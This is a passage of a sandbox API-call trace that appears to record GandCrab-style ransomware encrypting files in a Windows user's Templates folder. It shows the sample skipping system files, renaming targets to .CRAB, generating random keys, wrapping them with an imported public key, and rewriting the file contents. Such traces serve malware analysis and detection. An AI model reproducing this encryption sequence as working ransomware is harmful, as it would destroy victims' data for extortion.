	[0118.806] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.806] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned 94
	[0118.806] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned 94
	[0118.806] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="desktop.ini") returned 1
	[0118.807] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="autorun.inf") returned 1
	[0118.807] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="ntuser.dat") returned 1
	[0118.807] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="iconcache.db") returned 1
	[0118.807] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="bootsect.bak") returned 1
	[0118.807] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="boot.ini") returned 1
	[0118.807] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="ntuser.dat.log") returned 1
	[0118.807] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="thumbs.db") returned -1
	[0118.807] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.807] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.807] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.CRAB") returned 99
	[0118.807] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for basic flowchart.xltx")) returned 0x20
	[0118.807] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx", dwFileAttributes=0x20) returned 1
	[0118.808] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for basic flowchart.xltx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for basic flowchart.xltx.crab")) returned 1
	[0118.809] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.809] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.CRAB"
	[0118.809] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.CRAB.CRAB"
	[0118.809] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e6b0) returned 1
	[0118.810] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.810] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.811] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.811] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0118.811] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0118.811] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.811] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0118.811] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.812] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.812] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.812] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0118.812] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.812] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.812] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.813] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.813] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e5a0) returned 1
	[0118.813] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xded428) returned 1
	[0118.814] CryptGetKeyParam (in: hKey=0xded428, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0118.814] CryptEncrypt (in: hKey=0xded428, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0118.814] GetLastError () returned 0x0
	[0118.814] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0118.814] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0118.815] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xded268) returned 1
	[0118.815] CryptGetKeyParam (in: hKey=0xded268, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0118.815] CryptEncrypt (in: hKey=0xded268, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0118.815] GetLastError () returned 0x0
	[0118.815] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.815] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for basic flowchart.xltx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0118.816] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.818] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0118.819] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0x1ad7d, lpOverlapped=0x0) returned 1
	[0118.859] VirtualAlloc (lpAddress=0x0, dwSize=0x1ad80, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.861] VirtualAlloc (lpAddress=0x0, dwSize=0x1ad80, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0118.864] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.865] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffe5283, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.865] WriteFile (in: hFile=0x3f4, lpBuffer=0x3470000*, nNumberOfBytesToWrite=0x1ad80, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3470000*, lpNumberOfBytesWritten=0x314b464*=0x1ad80, lpOverlapped=0x0) returned 1
	[0118.866] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.866] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.870] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0118.871] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0118.871] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0118.871] CloseHandle (hObject=0x3f4) returned 1
	[0118.874] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.874] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.874] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.875] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.875] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.875] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.875] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0118.875] lstrcmpW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2=".") returned 1
	[0118.875] lstrcmpW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="..") returned 1
	[0118.875] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Process Map for Cross-Functional Flowchart.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx"
	[0118.876] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.876] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned 105
	[0118.876] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned 105
	[0118.876] lstrlenW (lpString=".xltx") returned 5
	[0118.876] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.876] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xltx ") returned 6
	[0118.877] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.877] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned 105
	[0118.877] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned 105
	[0118.877] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="desktop.ini") returned 1
	[0118.877] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="autorun.inf") returned 1
	[0118.877] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="ntuser.dat") returned 1
	[0118.877] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="iconcache.db") returned 1
	[0118.877] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="bootsect.bak") returned 1
	[0118.877] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="boot.ini") returned 1
	[0118.877] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="ntuser.dat.log") returned 1
	[0118.877] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="thumbs.db") returned -1
	[0118.877] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.877] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.877] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.CRAB") returned 110
	[0118.878] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for cross-functional flowchart.xltx")) returned 0x20
	[0118.878] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx", dwFileAttributes=0x20) returned 1
	[0118.879] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for cross-functional flowchart.xltx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for cross-functional flowchart.xltx.crab")) returned 1
	[0118.880] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.880] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.CRAB"
	[0118.880] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.CRAB.CRAB"
	[0118.880] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6ed98) returned 1
	[0118.881] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.881] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.882] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.882] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0118.882] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0118.882] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.882] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e9e0) returned 1
	[0118.883] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.883] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.883] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.883] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0118.883] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0118.883] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.884] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.884] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.884] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e5a0) returned 1
	[0118.885] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xded468) returned 1
	[0118.885] CryptGetKeyParam (in: hKey=0xded468, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0118.885] CryptEncrypt (in: hKey=0xded468, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0118.885] GetLastError () returned 0x0
	[0118.886] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0118.886] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0118.886] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xded4a8) returned 1
	[0118.886] CryptGetKeyParam (in: hKey=0xded4a8, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0118.886] CryptEncrypt (in: hKey=0xded4a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0118.887] GetLastError () returned 0x0
	[0118.887] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.887] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for cross-functional flowchart.xltx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0118.887] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.888] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0118.888] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0x2355e, lpOverlapped=0x0) returned 1
	[0119.004] VirtualAlloc (lpAddress=0x0, dwSize=0x23560, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0119.005] VirtualAlloc (lpAddress=0x0, dwSize=0x23560, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0119.007] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.008] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffdcaa2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.008] WriteFile (in: hFile=0x3f4, lpBuffer=0x3470000*, nNumberOfBytesToWrite=0x23560, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3470000*, lpNumberOfBytesWritten=0x314b464*=0x23560, lpOverlapped=0x0) returned 1
	[0119.008] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.009] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.012] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0119.012] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0119.012] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0119.012] CloseHandle (hObject=0x3f4) returned 1
	[0119.014] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.014] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.015] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.015] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.015] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.015] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.015] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.015] lstrcmpW (lpString1="Stock symbols comparison.xltm", lpString2=".") returned 1
	[0119.015] lstrcmpW (lpString1="Stock symbols comparison.xltm", lpString2="..") returned 1
	[0119.015] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Stock symbols comparison.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm"
	[0119.015] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.016] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned 87
	[0119.016] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned 87
	[0119.016] lstrlenW (lpString=".xltm") returned 5
	[0119.016] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.016] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xltm ") returned 6
	[0119.016] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.016] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned 87
	[0119.016] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned 87
	[0119.016] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="desktop.ini") returned 1
	[0119.016] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="autorun.inf") returned 1
	[0119.016] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="ntuser.dat") returned 1
	[0119.016] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="iconcache.db") returned 1
	[0119.016] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="bootsect.bak") returned 1
	[0119.016] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="boot.ini") returned 1
	[0119.016] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="ntuser.dat.log") returned 1
	[0119.016] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="thumbs.db") returned -1
	[0119.016] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="CRAB-DECRYPT.txt") returned 1
	[0119.016] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.016] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.CRAB") returned 92
	[0119.016] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\stock symbols comparison.xltm")) returned 0x20
	[0119.017] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm", dwFileAttributes=0x20) returned 1
